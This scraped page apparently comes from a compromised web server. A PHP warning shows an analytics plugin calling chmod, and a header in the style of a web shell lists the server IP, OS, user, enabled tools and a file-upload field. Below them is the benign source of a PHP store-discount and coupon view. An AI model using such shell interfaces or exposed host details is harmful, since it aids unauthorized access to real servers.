Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560 [2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85 [3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50 [4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13 [5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
| Server IP : 94.177.8.99 / Your IP : 216.73.217.165 Web Server : Apache/2.4.58 (Ubuntu) System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64 User : www-data ( 33) PHP Version : 8.1.34 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/theyoungdesigners_com/modules/storeDiscount/view/ |
Upload File : |
<?php
class StoreDiscount_View extends View {
public function UpdateHTML(&$html, $needle, $replacement) {
$xneedle = "<!-- [{$needle}] -->";
if (($pos = strpos($html, $xneedle)) === FALSE) {
die("Unable to locate $needle in html");
}
$html = substr($html, 0, $pos) . $replacement . substr($html, $pos);
}
public function ProductGroup3() {
// add some css
$id = $this->IncludeFile('');
$css = <<<'BLOCK'
.breakdown .frame {
border: 1px solid #d9d5d2;
padding: 9px;
}
.breakdown .controls {
padding: 3px 0;
}
.breakdown .controls .column {
display: inline-block;
}
.breakdown .controls .column.col1 {
width: 300px;
}
.breakdown .controls .column .field-lbl {
width: 90px;
display: inline-block;
}
.breakdown .controls .column .field-input {
width: 80px;
}
BLOCK;
$id->AddCSS($css);
$javascript = <<<'BLOCK'
$(document).on('click', '.action-discount', function(e) {
e.preventDefault();
let $container = $('.breakdown .frame-content');
let content = `
<div class="controls">
<span class="column col1"><span class="field-lbl">Min Qty:</span> <input type="text" class="field-input" name="quantity[]" value=""></span>
<span class="column col2" title="fixed dollar amount, or a percentage"><span class="field-lbl">Value:</span> <input type="text" class="field-input" name="value[]" value=""></span>
</div>
`;
$container.append(content);
});
BLOCK;
$id->JavascriptCommand($javascript);
$button = hook_execute_late('html.button', '', 'Update Discounts', 'far fa-check-circle', 'cc-blue');
return <<<BLOCK
{{#if sc_id}}
<form class="frm" method="post" action="/admin/product-group-discount/{{sc_id}}">
<div style="margin-top:30px;width:500px">
<h2>Product Group Discounts</h2>
<input type="hidden" name="auth" value="{{authdisc}}">
<div class="control-group" style="margin-bottom:15px">
<label>Discount Type</label>
<div class="controls input-frame">
<div><label><input type="radio" name="method" value="P" {{#ifeq method "P"}} checked{{/ifeq}}> Percentage</label></div>
<div><label><input type="radio" name="method" value="F" {{#ifeq method "F"}} checked{{/ifeq}}> Fixed Amount</label></div>
</div>
</div>
<div class="control-group breakdown" style="margin-bottom:30px">
<label for="pk">Quantity Breakdown</label>
<div class="frame">
<div class="frame-content">
{{#each entry}}
<div class="controls">
<span class="column col1"><span class="field-lbl">Min Qty:</span> <input type="text" class="field-input" name="qty[]" value="{{qty}}"></span>
<span class="column col2" title="fixed dollar amount, or a percentage"><span class="field-lbl">Value:</span> <input type="text" class="field-input" name="val[]" value="{{val}}"></span>
</div>
{{/each}}
</div>
<div class="right"><a class="action-discount" href="#">add blank line</a></div>
</div>
</div>
</div>
<div class="form-actions right" style="margin-bottom:30px"><a class="submit" href="#">$button</a></div>
</form>
{{/if}}
BLOCK;
}
public function store_coupons() {
$html = <<<'BLOCK'
<p>Select a Coupon from the list below, or create a <a href="/admin/store/coupon?auth={{cauth}}">new</a> one.</p>
<div class="table-frame">
<table class="display data-class" cellpadding="0" cellspacing="0" for="ctable" ajax="/admin/store-action/coupons">
<thead>
<tr>{{#each cheader}}
<th class="col-{{id}}">{{caption}}</th>
{{/each}}</tr>
</thead>
</table>
</div>
BLOCK;
$this('store_coupons')->html($html);
}
public function store_coupon_edit() {
hook_execute('component.add', FALSE, 'autocomplete');
$button = hook_execute_late('html.button', '', 'update', 'fas fa-angle-double-right', 'cc-blue');
$html = <<<BLOCK
<h2 class="templateheader">Edit Coupon</h2>
<form class="frm json" method="post" style="width:350px">
<input type="hidden" name="auth" value="{{auth}}">
<div class="control-group sv-caption required">
<label for="sd_coupon">Coupon Code</label>
<div class="controls"><input class="required uppercase" id="sd_coupon" name="sd_coupon" type="text" value="{{sd_coupon}}"></div>
<div class="status-message" for="sd_coupon"></div>
</div>
<div class="control-group sv-caption required">
<label for="minimum">Minimum Amount</label>
<div class="controls" style="width:120px"><input id="minimum" name="minimum" type="text" value="{{minimum}}"></div>
<div class="status-message" for="minimum"></div>
</div>
<div class="control-group" style="margin-bottom:15px">
<label>Discount Type</label>
<div class="controls input-frame">
<div><label><input type="radio" name="method" value="P" {{#ifeq method "P"}} checked{{/ifeq}}> Percentage</label></div>
<div><label><input type="radio" name="method" value="F" {{#ifeq method "F"}} checked{{/ifeq}}> Fixed Amount</label></div>
</div>
</div>
<div class="control-group sv-caption required">
<label for="sv_caption">Discount Amount</label>
<div class="controls" style="width:120px"><input id="amount" name="amount" type="text" value="{{amount}}"></div>
<div class="status-message" for="amount"></div>
</div>
<h4>Restrictions</h4>
<div class="control-group sv-caption required">
<label for="customer">Customer</label>
<div class="controls"><input class="autocomplete" id="sd_customer" name="sd_customer" size="30" type="text"
autocomplete="off" autocorrect="off" autocapitalize="off" spellcheck="false"
value="{{sd_customer}}" style="width:300px" href="/account/autocomplete-account"></div>
<div class="status-message" for="sd_customer"></div>
</div>
<div class="control-group prodgroup">
<label for="sd_catalog">Product Group</label>
<div class="controls">
<select id="sd_catalog" name="sd_catalog">
{{#each list_group}}<option value="{{key}}"{{#ifeq key @root/sd_catalog}} selected{{/ifeq}}>{{value}}</option>{{/each}}
</select>
</div>
</div>
<div class="control-group sv-caption required">
<label for="sv_caption">Date Range</label>
<div class="controls">
<input id="dt_start" name="dt_start" class="bind-datepicker" type="text" value="{{dt_start}}" style="width:120px"> to
<input id="dt_end" name="dt_end" class="bind-datepicker" type="text" value="{{dt_end}}" style="width:120px"> </div>
</div>
<div class="form-actions right"><a href="/admin/store">Back</a> // <a class="submit action-serialize" href="#">$button</a> </div>
</form>
BLOCK;
$this('store_coupon_edit')->html($html)->Title('Coupon');
}
function showApplyCoupon() {
return <<<'BLOCK'
<div class="subtotal-right">Have a coupon? <a href="/~/storediscount/enter-coupon" class="json-request">Click to enter code</a></div>
BLOCK;
}
function storediscount_popup() {
$html = <<<'BLOCK'
<form class="frm json" method="POST" action="/~/storediscount/enter-coupon">
<div class="control-group so_coupon">
<label for="so_coupon">Coupon Code</label>
<div class="controls" style="width:200px"><input class="uppercase" id="so_coupon" name="so_coupon" size="30" type="text" value="{{so_coupon}}"></div>
<div class="status-message" for="so_coupon"></div>
</div>
</form>
BLOCK;
$this('storediscount_popup')->html($html);
}
}